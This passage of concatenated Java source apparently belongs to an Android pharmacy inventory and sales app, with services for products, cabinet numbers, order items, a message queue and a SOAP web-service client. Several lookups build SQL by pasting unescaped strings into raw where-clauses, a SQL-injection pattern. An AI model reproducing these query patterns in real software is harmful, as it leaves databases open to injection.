mt.setShl(StringUtils.stringtodouble(number));
boolean result = maintainService.updateQuantity(mt);
if(result == true){
//记录当前编辑的柜号、第几行以便下回直接跳转到该条目
int idx = maintainItemList.indexOf(mt);
Editor editor = preferences.edit();
editor.putInt("lastInx", idx);
Button buttonGH = (Button) findViewById(R.id.buttonGH);
editor.putString("lastGH", buttonGH.getText().toString());
editor.commit();
//刷新显示数量
listAdapter.notifyDataSetChanged();
}else{
Toast.makeText(mContext, "更新失败", Toast.LENGTH_SHORT)
.show();
}
}
}
}
super.onActivityResult(requestCode, resultCode, data);
}
/**
* 显示数据
* @author caijun
* @param gh
* @return 当前显示个数
*/
private int showData(String gh){
String lastGH = preferences.getString("lastGH", "全部");
int selectIdx = preferences.getInt("lastInx", 0);
maintainItemList = maintainService.getMaintainItemsByGH(gh);
System.out.println("size:" + maintainItemList.size());
listAdapter = new MaintainItemListAdapter(MaintainActivity.this,
maintainItemList);
ListView maintainListView = (ListView) findViewById(R.id.listView1);
maintainListView.setAdapter(listAdapter);
//最后一次编辑时的柜号等于当前要显示的柜号时,选中最后编辑的条目
if(lastGH.endsWith(gh)){
maintainListView.setSelection(selectIdx);
}
Toast.makeText(mContext, gh + ":" + maintainItemList.size() + " 个", Toast.LENGTH_SHORT)
.show();
return maintainItemList.size();
}
@Override
protected void onResume() {
//切换回来后若发现数据已发生更改,则刷新数据,因为可能在配置界面进行了导入操作
String newLastImportTime = preferences.getString("lastImportTime", null);
if(lastImportTime != newLastImportTime){
Toast.makeText(this, "注意导入了新数据,系统自动刷新", Toast.LENGTH_LONG).show();
Button buttonGH = (Button) findViewById(R.id.buttonGH);
buttonGH.setText("全部");
showData("全部");
lastImportTime = newLastImportTime;
}
super.onResume();
}
}
<file_sep>package com.ajmst.android.service;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import android.content.Context;
import com.ajmst.android.entity.AdvAjmstGh;
import com.ajmst.commmon.entity.AjmstGh;
import com.ajmst.common.response.Response;
public class _AjmstGhService extends BaseService<AdvAjmstGh> {
public _AjmstGhService(Context context) {
super(context);
}
public AdvAjmstGh toAdvAjmstGh(AjmstGh ajmstGh){
AdvAjmstGh advGh = new AdvAjmstGh();
advGh.setId(ajmstGh.getSpbh().trim()+ "_" + ajmstGh.getGh().trim());
advGh.setGh(ajmstGh.getGh());
advGh.setSpbh(ajmstGh.getSpbh());
advGh.setSpid(ajmstGh.getSpid());
return advGh;
}
public List<AdvAjmstGh> toAdvAjmstGh(List<AjmstGh> ajmstGhs){
List<AdvAjmstGh> advGhs = new ArrayList<AdvAjmstGh>();
for(AjmstGh gh:ajmstGhs){
advGhs.add(toAdvAjmstGh(gh));
}
return advGhs;
}
@SuppressWarnings("unchecked")
@Override
public Response saveOrUpdate(AdvAjmstGh ajmstGh) {
Response r = new Response();
try {
AdvAjmstGh ghExist = getAjmstGh(ajmstGh.getSpbh(),ajmstGh.getGh());
if (ghExist != null) {
this.getDao().update(toAdvAjmstGh(ajmstGh));
} else {
this.getDao().create(toAdvAjmstGh(ajmstGh));
}
} catch (SQLException e) {
r.setIsOk(false);
r.setException(e);
}
return r;
}
public AdvAjmstGh getAjmstGh(String spbh,String gh){
AdvAjmstGh ajmstGh = null;
if(spbh != null){
spbh = spbh.trim();
}
if(gh != null){
gh = gh.trim();
}
try {
List<String[]> results = this.getDao().queryRaw("select spbh,gh from " + AdvAjmstGh.class.getSimpleName() + " where trim(spbh)='" + spbh + "' and trim(gh)='" + gh + "'").getResults();
if(results.size() > 0){
String tmpSpbh = results.get(0)[0];
String tmpGh = results.get(0)[1];
ajmstGh = (AdvAjmstGh) this.getDao().queryBuilder().where().eq("spbh", tmpSpbh).and().eq("gh", tmpGh).queryForFirst();
}
} catch (SQLException e) {
e.printStackTrace();
}
return ajmstGh;
}
}
<file_sep>package com.ajmst.android.ui;
import java.util.List;
import android.content.Context;
import android.view.Gravity;
import android.view.ViewGroup.LayoutParams;
import android.widget.TableLayout;
import android.widget.TableRow;
import android.widget.TextView;
public class TableLayoutUtil {
public static void append(TableLayout table, List<String> values) {
table.setStretchAllColumns(true);
Context ct = table.getContext();
TableRow tablerow = new TableRow(ct);
for (int i = 0; i < values.size(); i++) {
TextView testview = new TextView(ct);
testview.setText(values.get(i));
testview.setGravity(Gravity.LEFT);
testview.setLayoutParams(new TableRow.LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT));
tablerow.addView(testview);
}
table.addView(tablerow);
/* table.addView(tablerow, new TableLayout.LayoutParams(
LayoutParams.FILL_PARENT, LayoutParams.WRAP_CONTENT));*/
}
}
<file_sep>package com.ajmst.android.ui;
import java.util.List;
import android.content.Context;
import com.ajmst.android.entity.AdvSpkfk;
import com.ajmst.android.service.SpkfkService;
import com.ajmst.android.webservice.WsResponse;
import com.ajmst.android.webservice.WsSpkfkService;
import com.ajmst.commmon.entity.Spkfk;
import com.ajmst.common.response.Response;
public class DownloadThread extends Thread{
//相关参数
private static final int MAX_FETCH_SIZE_PER_TIME = 200;//每次最大获取数目
private static final int MAX_TRY_COUNT = 10; //最大获取重试次数
private static final int RETRY_GAP_SECONDS = 5;//获取失败后等待秒数
private int currPos;//当前下载位置
private final int partSize;//负责下载的大小
private int downLoadSize = 0;//已经下载的大小
private int finishSize = 0;//已下载的大小
private boolean isSuccess = false;
private int reTryTime = 0;//失败重试次数
//private String failReason;
private final int delaySec;
private SpkfkService spService;
public DownloadThread(Context context,int startPos, int partSize,int delaySec) {
this.currPos = startPos;
this.partSize = partSize;
this.spService = new SpkfkService(context);
this.delaySec = delaySec;
}
public void run() {
try {
Thread.sleep(delaySec * 1000);
} catch (InterruptedException e1) {
e1.printStackTrace();
}
while(true){
if(finishSize >= partSize){
isSuccess = true;
break;
}
int fetchSize = MAX_FETCH_SIZE_PER_TIME;
if(partSize - finishSize < MAX_FETCH_SIZE_PER_TIME){
fetchSize = partSize - finishSize;
}
WsResponse r = WsSpkfkService.getSpkfks(currPos,fetchSize);
if(r.isOk()){
reTryTime = 0;
List<Spkfk> sps = (List<Spkfk>)r.getResult();
downLoadSize += sps.size();
List<AdvSpkfk> advSps;
try {
advSps = spService.toAdvSpkfk(sps);
} catch (Exception e) {
e.printStackTrace();
isSuccess = false;
break;
}
Response rSave = spService.saveOrUpdate(advSps);
if(rSave.isOk() == false){
isSuccess = false;
break;
}
if(sps.size() == 0){
isSuccess = true;
break;
}
currPos = currPos + sps.size();
finishSize += sps.size();
}else{
if(reTryTime >= MAX_TRY_COUNT){
isSuccess = false;
break;
}else{
try {
reTryTime++;
Thread.sleep(RETRY_GAP_SECONDS * 1000);
} catch (InterruptedException e) {
}
}
}
}
}
public int getFinishSize() {
return finishSize;
}
public void setFinishSize(int finishSize) {
this.finishSize = finishSize;
}
public boolean isSuccess() {
return isSuccess;
}
public void setSuccess(boolean isSuccess) {
this.isSuccess = isSuccess;
}
public int getDownLoadSize() {
return downLoadSize;
}
public void setDownLoadSize(int downLoadSize) {
this.downLoadSize = downLoadSize;
}
}
<file_sep>/**
* @(#)DateTimeUtils.java
*
* Copyright(c) 2013-2020 cj个人程序 版权所有
* LiuJingYu personnel program. All rights reserved.
*/
package com.ajmst.commmon.util;
import java.text.SimpleDateFormat;
import java.util.Calendar;
/**
* 日期时间处理函数集
* @author cher
* @version 1.0 2004-03-22 created
* @author caijun
* @version 1.1 2012-12-07 modified
*/
public class DateTimeUtils
{
/**
* Calendar c = Calendar.getInstance();
* c.set(2012,8, 6, 14, 16,37);
* Date date = c.getTime();
* formatDate(date,"yyyy-MM-dd HH:mm:ss") 返回"2012-09-06 14:16:37"
* @param date 需要格式化的日期
* @param pattern year=yyyy month=MM day=dd hour=HH minute=mm second=ss
* @return 根据指定格式将输入日期转换成字符串格式
*/
public static String formatDate(java.util.Date date,String pattern){
try{
SimpleDateFormat sdf = new SimpleDateFormat(pattern);
return sdf.format(date.getTime());
}catch(Exception e){
return "";
}
}
/**
* changeDateFormat("2012-12-01","yyyy-MM-dd","yyyy/MM/dd")返回"2012/12/01",注意若发生异常默认返回空字符串""
* @param dateTime 输入日期
* @param inputFormat 输入日期的格式
* @param outputFormat 输出日期的格式
* @return 按输出日期格式转换后的日期
*/
public static String changeDateFormat(String dateTime,String inputFormat,String outputFormat)
{
try{
SimpleDateFormat iFormat = new SimpleDateFormat(inputFormat);
java.util.Date iDate = iFormat.parse(dateTime);
SimpleDateFormat oFormat = new SimpleDateFormat(outputFormat);
String sRet = oFormat.format(iDate);
return sRet;
}
catch(Exception e)
{
return "";
}
}
/**
* 注意相差24小时以内则算0天
* @param fromDate
* @param toDate
* @return 两个日期之间的天数
*/
public static int getDays(java.util.Date fromDate,java.util.Date toDate){
long a = getMilliseconds(fromDate,toDate)/(24*60*60*1000);
return (int)a;
}
/**
* 注意相差60分以内则算0小时
* @param fromDate
* @param toDate
* @return 两个日期时间之间的小时数
*/
public static int getHours(java.util.Date fromDate,java.util.Date toDate){
long a = getMilliseconds(fromDate,toDate)/(60*60*1000);
return (int)a;
}
/**
* 注意相差60秒以内则算0分
* @param fromDate
* @param toDate
* @return 两个日期时间之间的分钟数
*/
public static int getMinutes(java.util.Date fromDate,java.util.Date toDate){
long a = getMilliseconds(fromDate,toDate)/(60*1000);
return (int)a;
}
/**
* 注意相差1000毫秒以内则算0秒
* @param fromDate
* @param toDate
* @return 两个日期时间之间的秒数
*/
public static int getSeconds(java.util.Date fromDate,java.util.Date toDate){
long m1 = fromDate.getTime();
long m2 = toDate.getTime();
long a = (m2-m1)/1000;
return (int)a;
}
/**
*
* @param fromDate
* @param toDate
* @return 两个日期间的毫秒数
*/
public static Long getMilliseconds(java.util.Date fromDate,java.util.Date toDate){
long m1 = fromDate.getTime();
long m2 = toDate.getTime();
return m2 - m1;
}
/**
* 比较两日期大小,即只比较到日,不比较时分秒
* @param date1
* @param date2
* @return date1日期大于date2,则返回值1;date1日期小于date2,则返回值小于-1;相等返回0
*/
public static int compareDay(java.util.Date date1,java.util.Date date2)
{
return compareDate(getDayStart(date1),getDayStart(date2));
}
/**
* @param date1
* @param date2
* @return 前者大于后者,返回1;前者小于后者,返回-1;两者相等返回0
*/
public static int compareDate(java.util.Date date1,java.util.Date date2){
int result = date1.compareTo(date2);
if(result > 0){
result = 1;
}else if(result < 0){
result = -1;
}else{
result = 0;
}
return result;
}
/**
* parseDate("2012-12-01","yyyy-MM-dd"),若发生异常(传入的日期字符串与指定的时间格式不符),返回null
* @param text
* @param pattern
* @return 根据指定格式将字符床转换后的日期
*/
public static java.util.Date parseDate(String text,String pattern)
{
try{
SimpleDateFormat sdf = new SimpleDateFormat(pattern);
return sdf.parse(text);
}catch(Exception e){
return null;
}
}
/**
* 传入日期为2012-12-1 19:18:17, 返回日期为2012-12-1 00:00:00
* @author caijun modified 2013-12-05 将毫秒设置为0,否则时间比较时可能不相等,c.set(Calendar.MILLISECOND, 0);
* @param date
* @return 该日期的开始时间,即该日的0时0分0秒0毫秒
*/
public static java.util.Date getDayStart(java.util.Date date){
Calendar c = Calendar.getInstance();
c.setTime(date);
c.set(Calendar.HOUR_OF_DAY, 0);
c.set(Calendar.MINUTE, 0);
c.set(Calendar.SECOND, 0);
c.set(Calendar.MILLISECOND, 0);
return c.getTime();
}
}
<file_sep>package com.ajmst.android.service;
import java.sql.SQLException;
import java.util.List;
import com.ajmst.android.entity.AdvSpkfk;
import com.ajmst.android.entity.SalesOrderItem;
import com.ajmst.common.response.Response;
import com.j256.ormlite.stmt.Where;
import android.content.Context;
public class SalesOrderItemService extends BaseService<SalesOrderItem> {
public SalesOrderItemService(Context context) {
super(context);
}
@SuppressWarnings("unchecked")
@Override
public Response saveOrUpdate(SalesOrderItem orderItem) {
Response r = new Response();
try {
this.getDao().create(orderItem);
/* SalesOrderItem orderItemExist = this.getOrderItem(orderItem.getOrderNo(),orderItem.getSpid(),orderItem.getPihao());
if (orderItemExist != null) {
this.getDao().update(orderItem);
} else {
this.getDao().create(orderItem);
}*/
} catch (SQLException e) {
r.setIsOk(false);
r.setException(e);
}
return r;
}
/* *//**
* 根据单号和商品ID找到唯一的销售记录
* @author caijun 2014-1-3
* @param orderNo 不为null
* @param spid 不为null
* @param pihao 可给null,表示查询pihao为null的记录
* @return
*//*
@SuppressWarnings("rawtypes")
public SalesOrderItem getOrderItem(String orderNo,String spid,String pihao){
SalesOrderItem item = null;
try{
Where where = this.getDao().queryBuilder().where().raw("trim(orderNo)='" + orderNo.trim() + "'").and().raw("trim(spid)='" + spid.trim() + "'");
if(pihao == null){
where.isNull("pihao");
}else{
where.raw("trim(pihao)='" + pihao.trim() + "'");
}
item = (SalesOrderItem)where.queryForFirst();
}catch(Exception e){
e.printStackTrace();
}
return item;
}*/
/**
* 查出指定单号的所有子记录
* @author caijun 2014-1-3
* @param orderNo
* @return
*/
public List<SalesOrderItem> getByOrderNo(String orderNo) {
try {
return this.getDao().queryBuilder().orderBy("seq", true).where().raw("trim(orderNo)='" + orderNo + "'").query();
} catch (SQLException e) {
e.printStackTrace();
}
return null;
}
}
<file_sep>package com.ajmst.android.service;
import java.math.BigDecimal;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashSet;
import java.util.Hashtable;
import java.util.List;
import java.util.Set;
import android.content.Context;
import android.util.Log;
import com.ajmst.android.entity.MsgQueue;
import com.ajmst.android.entity.SalesOrder;
import com.ajmst.android.webservice.WsRequest;
import com.ajmst.android.webservice.WsResponse;
import com.ajmst.commmon.util.DateTimeUtils;
import com.ajmst.common.constants.IWebServiceName;
import com.ajmst.common.exception.ExceptionUtil;
import com.ajmst.common.response.Response;
import com.ajmst.common.xml.XmlUtils;
public class MsgQueueService extends BaseService<MsgQueue>{
String TAG = MsgQueueService.class.getSimpleName();
private final static int MAX_SEND_NUM_PER_TIME = 10;//每次最大发送消息数
public MsgQueueService(Context context) {
super(context);
}
@SuppressWarnings("unchecked")
@Override
public Response saveOrUpdate(MsgQueue msg) {
Response r = new Response();
try {
MsgQueue msgExist = null;
if(msg.getId() != null){
msgExist = (MsgQueue) this.getDao().queryForId(msg.getId());//注意queryForId不能给null来查询,会报错
}
if (msgExist != null) {
this.getDao().update(msg);
} else {
this.getDao().create(msg);
}
} catch (SQLException e) {
r.setIsOk(false);
r.setException(e);
}
return r;
}
@SuppressWarnings("unchecked")
public List<MsgQueue> getSendableMsgs(){
List<MsgQueue> msgs = new ArrayList<MsgQueue>();
try {
//msgs = (List<MsgQueue>)this.getDao().queryBuilder().orderBy("createTime", true).where().raw("state in(" + MsgQueue.MSG_QUEUE_STATE_NOT_SEND + ","+ MsgQueue.MSG_QUEUE_STATE_FAILED + ")").query();
//正在发送的也可以再次发送,因为发送时用户可能退出程序,消息会停留在正在发送状态,发送的服务就一个,不会出现同时发送一个消息的情况
msgs = (List<MsgQueue>)this.getDao().queryBuilder().orderBy("createTime", true).where().raw("state in(" + MsgQueue.MSG_QUEUE_STATE_NOT_SEND + ","+ MsgQueue.MSG_QUEUE_STATE_FAILED + ","+ MsgQueue.MSG_QUEUE_STATE_SENDING + ")").query();
} catch (SQLException e) {
e.printStackTrace();
}
return msgs;
}
public void sendMsgs(){
Set<String> failTypes = new HashSet<String>();
int sendCount = 0;
List<MsgQueue> msgs = getSendableMsgs();
for(MsgQueue msg: msgs){
//相同类型的消息若已经失败,不能发其他的,保证相同类型的消息一定按照创建先后顺序发送
String serviceName = msg.getServiceName();
if(failTypes.contains(serviceName)){
continue;
}
//超过每次最大发送数量,停止发送;注意同类型消息失败后,不计入发送次数
if(sendCount > MAX_SEND_NUM_PER_TIME){
break;
}
//标记为正在发送
sendCount++;
msg.setState(MsgQueue.MSG_QUEUE_STATE_SENDING);
msg.setStartSendTime(new Date());
saveOrUpdate(msg);
//开始发送
String xml = msg.getData();
Log.i(TAG, "开始发送消息,service name:" + serviceName + ",data:\n" + xml);
WsResponse r = WsRequest.call(serviceName, xml);
if(r.isOk()){
Log.i(TAG, "发送成功");
msg.setState(MsgQueue.MSG_QUEUE_STATE_SUCEESS);
}else{
String failReason = ExceptionUtil.getStackTrace(r.getException());
failTypes.add(serviceName);
msg.setFailCount(msg.getFailCount() + 1);
msg.setState(MsgQueue.MSG_QUEUE_STATE_FAILED);
msg.setLastFailReason(failReason);
Log.i(TAG, "发送失败,累计失败次数:" + msg.getFailCount() + ",原因:" + msg.getLastFailReason());
}
msg.setFinishSendTime(new Date());
saveOrUpdate(msg);
}
/* Thread sendThread = new Thread(new Runnable() {
@Override
public void run() {
while(true){
try{
if(preSendTime != null && DateTimeUtils.getSeconds(preSendTime, new Date()) < SEND_TIME_GAP_SEC){
Thread.sleep(1000);
}
}catch(Exception e){
}
}
}
});
sendThread.start();*/
}
/**
* 创建修改零售价的消息
* @author caijun 2014-1-26
* @param spid 商品ID
* @param lshj 零售价
* @return
*/
public Response createMsg_Lshj(String spid,BigDecimal lshj){
MsgQueue msg = new MsgQueue();
msg.setServiceName(IWebServiceName.SERVICE_SPKFK_PRICE);
msg.setCreateTime(new Date());
msg.setState(MsgQueue.MSG_QUEUE_STATE_NOT_SEND);
Hashtable data = new Hashtable();
data.put("Spid", spid);
data.put("Lshj", lshj);
msg.setData(XmlUtils.getXmlStr(data));
return this.saveOrUpdate(msg);
}
}
<file_sep>package com.ajmst.android.service;
import java.math.BigDecimal;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import android.annotation.SuppressLint;
import android.content.Context;
import com.ajmst.android.entity.AdvSpkfk;
import com.ajmst.commmon.entity.AjmstGh;
import com.ajmst.commmon.entity.Spkfk;
import com.ajmst.commmon.util.BeanUtils;
import com.ajmst.common.response.Response;
import com.j256.ormlite.stmt.QueryBuilder;
import com.j256.ormlite.stmt.Where;
public class SpkfkService extends BaseService<AdvSpkfk> {
private final static int MAX_SELECT_ROW_NUM = 100;//每次查询最大数量
//private final static String LOG_TAG = SpkfkService.class.getSimpleName();
//本店维护中药的商品编号前缀,系统以此判断是否为中药,且计算处方时,中药的价格为10g的价格,需要进行转换
public final static String SELF_CN_SP_SPBH_PRE = "8";
public final static int SELF_CN_SP_UNIT_QUANTITY = 10;//本店维护中药的商品存储的价格是10g的价格
public SpkfkService(Context context) {
super(context);
}
/**
* 不包含柜号信息
* @author caijun 2013-12-19
* @param sp
* @return
* @throws Exception
*/
public AdvSpkfk toAdvSpkfk(Spkfk sp) throws Exception{
AdvSpkfk advSp = new AdvSpkfk();
BeanUtils.fatherToChild(sp, advSp);
return advSp;
}
/**
* 不包含柜号信息
* @author caijun 2013-12-19
* @param sps
* @return
*/
public List<AdvSpkfk> toAdvSpkfk(List<Spkfk> sps)throws Exception{
List<AdvSpkfk> advSps = new ArrayList<AdvSpkfk>();
for(Spkfk sp:sps){
advSps.add(toAdvSpkfk(sp));
}
return advSps;
}
@SuppressWarnings("unchecked")
@Override
public Response saveOrUpdate(AdvSpkfk sp) {
Response r = new Response();
try {
AdvSpkfk spExist = this.getById(sp.getSpid());
if (spExist != null) {
this.getDao().update(sp);
} else {
this.getDao().create(sp);
}
} catch (SQLException e) {
r.setIsOk(false);
r.setException(e);
}
return r;
}
public AdvSpkfk getByBarcode(String barcode) {
if (barcode != null) {
barcode = barcode.trim();
}
AdvSpkfk sp = null;
try {
/* List<String[]> results = this.getDao().queryRaw("select spid from AdvSpkfk where trim(sptm)='" + barcode + "'").getResults();
if(results.size() > 0){
sp = this.getById(results.get(0)[0]);
}*/
sp = (AdvSpkfk) this.getDao().queryBuilder().where().raw("trim(sptm)='" + barcode + "'").queryForFirst();
} catch (SQLException e) {
e.printStackTrace();
}
return sp;
}
/**
* 得到自定义的中药列表
*
* @author caijun 2013-12-14
* @return
*/
@SuppressWarnings("unchecked")
public List<AdvSpkfk> getSelfCnSp() {
List<AdvSpkfk> sps = new ArrayList<AdvSpkfk>();
try {
sps = this.getDao().queryBuilder().orderBy("spbh", true).where()
.like("spbh", "8%").query();
} catch (SQLException e) {
e.printStackTrace();
}
return sps;
}
public Response updateCabinet(List<AjmstGh> ghs){
Response r = new Response();
for(AjmstGh gh : ghs){
r = this.updateCabinet(gh);
if(!r.isOk()){
break;
}
}
return r;
}
@SuppressWarnings("unchecked")
public Response updateCabinet(AjmstGh gh){
Response r = new Response();
String spid = gh.getSpid();
String spbh = gh.getSpbh();
String cabinet = gh.getGh();
AdvSpkfk sp = null;
if(spid != null && !"".equals(spid.trim())){
sp = this.getById(spid);
}else{
sp = this.getBySpbh(spbh);
}
if(sp != null){
sp.setGh(cabinet);
try {
this.getDao().update(sp);
} catch (SQLException e) {
r.setException(e);
}
}else{
r.setException(new Exception("No such spkfk,spid:" + spid + ",spbh:" + spbh));
}
return r;
}
public AdvSpkfk getBySpbh(String spbh){
AdvSpkfk sp = null;
if(spbh != null){
spbh = spbh.trim();
}
try {
sp = (AdvSpkfk) this.getDao().queryBuilder().where().raw("trim(spbh)='" + spbh + "'").queryForFirst();
} catch (SQLException e) {
e.printStackTrace();
}
return sp;
}
@Override
public String toString(AdvSpkfk sp) {
StringBuilder sb = new StringBuilder();
sb.append(sp.getSpbh().trim()).append("\n")
.append(sp.getZjm()).append("\n")
.append(sp.getSpmch().trim()).append("\n")
.append("规格:").append(sp.getShpgg())
.append(", 单位:").append(sp.getDw()).append("\n")
.append(sp.getShengccj()).append("\n")
.append("售价:").append(sp.getLshj());
return sb.toString();
}
@SuppressLint("DefaultLocale")
@SuppressWarnings({ "unchecked", "rawtypes", "deprecation" })
public List<AdvSpkfk> query(String zjm,String cabinet,BigDecimal priceFrom,BigDecimal priceEnd,Boolean isSelfCnSp){
List<AdvSpkfk> sps = new ArrayList<AdvSpkfk>();
try {
QueryBuilder queryBuilder = this.getDao().queryBuilder();
Where where = queryBuilder.where().isNotNull("spid");
if(zjm != null && "".equals(zjm) == false){
zjm = zjm.toUpperCase();
where.and().like("zjm", "%"+zjm+"%");
}
if(cabinet != null){
if("NULL".equalsIgnoreCase(cabinet)){
where.and().isNull("gh");
}else{
cabinet = cabinet.trim();
where = where.and().raw("trim(gh)='" + cabinet + "'");
}
}
if(priceFrom != null){
where.and().raw("CAST(lshj as double) >=" + priceFrom);//注意bigdecimal在sqlite中存的是字符串,需转换后再比较,不能直接用eq,le,ge等方法
}
if(priceEnd != null){
where.and().raw("CAST(lshj as double) <=" + priceEnd);
}
if(isSelfCnSp != null){
if(isSelfCnSp){
where.and().raw("trim(spbh) like'" + SELF_CN_SP_SPBH_PRE + "%'");
}else{
where.and().raw("trim(spbh) not like'" + SELF_CN_SP_SPBH_PRE + "%'");
}
}
String sql = where.getStatement();
System.out.println(sql);
sps = queryBuilder.orderBy("gh", false).limit(MAX_SELECT_ROW_NUM).query();
} catch (Exception e) {
e.printStackTrace();
}
return sps;
}
/**
* 是否为本店维护中药
* @author caijun 2014-1-6
* @param spbh
* @return
*/
public static boolean isSelfCnSp(String spbh){
boolean isSelf = false;
if(spbh.startsWith(SELF_CN_SP_SPBH_PRE)){
isSelf = true;
}
return isSelf;
}
/**
* 是否为本店维护中药
* @author caijun 2014-1-6
* @param spbh
* @return
*/
public static boolean isSelfCnSp(AdvSpkfk sp){
return isSelfCnSp(sp.getSpbh());
}
}
<file_sep>package com.ajmst.android.webservice;
import java.util.Hashtable;
import org.ksoap2.SoapEnvelope;
import org.ksoap2.serialization.SoapObject;
import org.ksoap2.serialization.SoapSerializationEnvelope;
import org.ksoap2.transport.HttpTransportSE;
import com.ajmst.common.exception.ExceptionUtil;
import com.ajmst.common.xml.XmlUtils;
public class WsRequest {
private final static String NAME_SPACE = "http://server.webservice.ajmst.com/";
private final static String SERVICE_ENDPOINT = "http://192.168.1.195:8080/AJMST_Server/ws/msgService";
private final static String SERVICE_MOTHED = "request";
@SuppressWarnings("rawtypes")
public static WsResponse call(String serviceName,Hashtable request) {
WsResponse response = null;
String requestXml = null;
try{
requestXml = XmlUtils.getXmlStr(request);
}catch (Exception e) {
response = new WsResponse();
response.setIsOk(false);
response.setException(new Exception("转换请求为xml失败:" + ExceptionUtil.getStackTrace(e)));
}
if(requestXml != null){
response = call(serviceName,requestXml);
}
return response;
/* WsResponse response = new WsResponse();
try {
String requestXml = XmlUtils.getXmlStr(request);
// 创建httpTransportSE传输对象
HttpTransportSE ht = new HttpTransportSE(SERVICE_ENDPOINT);
ht.debug = true;
// 使用soap1.1协议创建Envelop对象
SoapSerializationEnvelope envelope = new SoapSerializationEnvelope(
SoapEnvelope.VER11);
// 实例化SoapObject对象
SoapObject soapRequest = new SoapObject(NAME_SPACE, SERVICE_MOTHED);
soapRequest.addProperty("arg0", requestXml);
soapRequest.addProperty("arg1", requestXml);
// 将SoapObject对象设置为SoapSerializationEnvelope对象的传出SOAP消息
envelope.bodyOut = soapRequest;
// 调用webService
ht.call(null, envelope);
// txt1.setText("看看"+envelope.getResponse());
if (envelope.getResponse() != null) {
SoapObject bodyIn = (SoapObject) envelope.bodyIn;
String[] result = new String[3];
result[0] = bodyIn.getPropertyAsString(0);
result[1] = bodyIn.getPropertyAsString(1);
result[2] = bodyIn.getPropertyAsString(2);
response.setResult(result);
}
} catch (Exception e) {
response.setException(e);
}
return response;*/
}
public static WsResponse call(String serviceName,String request) {
WsResponse response = new WsResponse();
try {
// 创建httpTransportSE传输对象
//new HttpTransportSE(SERVICE_ENDPOINT);
HttpTransportSE ht = new HttpTransportSE(SERVICE_ENDPOINT,60000);//设置超时时间为60秒
ht.debug = true;
// 使用soap1.1协议创建Envelop对象
SoapSerializationEnvelope envelope = new SoapSerializationEnvelope(
SoapEnvelope.VER11);
// 实例化SoapObject对象
SoapObject soapRequest = new SoapObject(NAME_SPACE, SERVICE_MOTHED);
soapRequest.addProperty("arg0", serviceName);
soapRequest.addProperty("arg1", request);
// 将SoapObject对象设置为SoapSerializationEnvelope对象的传出SOAP消息
envelope.bodyOut = soapRequest;
// 调用webService
ht.call(null, envelope);
// txt1.setText("看看"+envelope.getResponse());
if (envelope.getResponse() != null) {
SoapObject bodyIn = (SoapObject) envelope.bodyIn;
String[] result = new String[3];
result[0] = bodyIn.getPropertyAsString(0);
result[1] = bodyIn.getPropertyAsString(1);
result[2] = bodyIn.getPropertyAsString(2);
response.setResult(result);
}
} catch (Exception e) {
response.setException(e);
}
return response;
}
}
<file_sep>package com.ajmst.android.salesorder;
import java.util.List;
import com.ajmst.android.R;
import com.ajmst.android.entity.AdvSpkfk;
import com.ajmst.android.entity.SalesOrder;
import com.ajmst.android.entity.SalesOrderItem;
import com.ajmst.android.ui.NumberInputActivity;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
public class OrderItemListAdaper extends BaseAdapter{
private Activity activity;
private LayoutInflater inflater;
private List<SalesOrderItem> orderItems;
public OrderItemListAdaper(Activity activity,List<SalesOrderItem> orderItems) {
super();
this.activity = activity;
this.orderItems = orderItems;
this.inflater = LayoutInflater.from(activity);
}
public List<SalesOrderItem> getOrderItems() {
return orderItems;
}
public void setOrderItems(List<SalesOrderItem> orderItems) {
this.orderItems = orderItems;
}
@Override
public int getCount() {
return orderItems.size();
}
@Override
public Object getItem(int position) {
return orderItems.get(position);
}
@Override
public long getItemId(int position) {
// TODO Auto-generated method stub
return 0;
}
@Override
public View getView(final int position, View convertView, ViewGroup parent) {
final SalesOrderItem orderItem = orderItems.get(position);
convertView = inflater.inflate(R.layout.sales_order_item, null);
TextView textViewSeq = (TextView)convertView.findViewById(R.id.textViewSeq);
textViewSeq.setText("" + (position + 1));
TextView tvSpmch = (TextView)convertView.findViewById(R.id.tvSpmch);
tvSpmch.setText(orderItem.getSpmch());
TextView tvShengccj = (TextView)convertView.findViewById(R.id.tvShengccj);
tvShengccj.setText(orderItem.getShengccj());
TextView tvDw = (TextView)convertView.findViewById(R.id.tvDw);
tvDw.setText(orderItem.getDw());
TextView tvShpgg = (TextView)convertView.findViewById(R.id.tvShpgg);
tvShpgg.setText(orderItem.getShpgg());
/* TextView tvCabinetNo = (TextView)convertView.findViewById(R.id.tvCabinetNo);
tvCabinetNo.setText(spkfk.getGh());*/
TextView tvLshj = (TextView)convertView.findViewById(R.id.tvLshj);
tvLshj.setText(orderItem.getLshj().toString());
TextView tvShl = (TextView)convertView.findViewById(R.id.tvShl);
if(orderItem.getShl()%1 == 0){
tvShl.setText(String.valueOf(orderItem.getShl().intValue()));
}else{
tvShl.setText(orderItem.getShl().toString());
}
convertView.setTag(orderItem);
return convertView;
}
}
<file_sep>package com.ajmst.android.webservice;
import java.math.BigDecimal;
import java.util.ArrayList;
import java.util.Hashtable;
import java.util.List;
import android.util.Log;
import com.ajmst.android.util.DateTimeUtils;
import com.ajmst.commmon.entity.AjmstMaintain;
import com.ajmst.commmon.entity.Spkfk;
import com.ajmst.common.constants.IWebServiceName;
import com.ajmst.common.exception.ExceptionUtil;
import com.ajmst.common.xml.XmlBeanUtils;
import com.ajmst.common.xml.XmlData;
import com.ajmst.common.xml.XmlUtils;
public class WsSpkfkService {
final static int MAX_FETCH_SIZE = 500;
final static String LOG_TAG = WsSpkfkService.class.getSimpleName();
@SuppressWarnings("unchecked")
public static WsResponse getChinseSpkfk(int sIdx, int size) {
Hashtable<String,Object> request = new Hashtable<String,Object>();
// request.put("ServiceName",
// IWebServiceName.SERVICE_SPKFK_QUERY_CHINESE_MEDICINE);
request.put("StartIndex", sIdx);
request.put("Size", size);
WsResponse response = WsRequest.call(IWebServiceName.SERVICE_SPKFK_QUERY_CHINESE_MEDICINE,request);
if (response.isOk()) {
String results[] = (String[]) response.getResult();
String result = results[0];
if ("1".endsWith(result)) {
String xml = results[2];
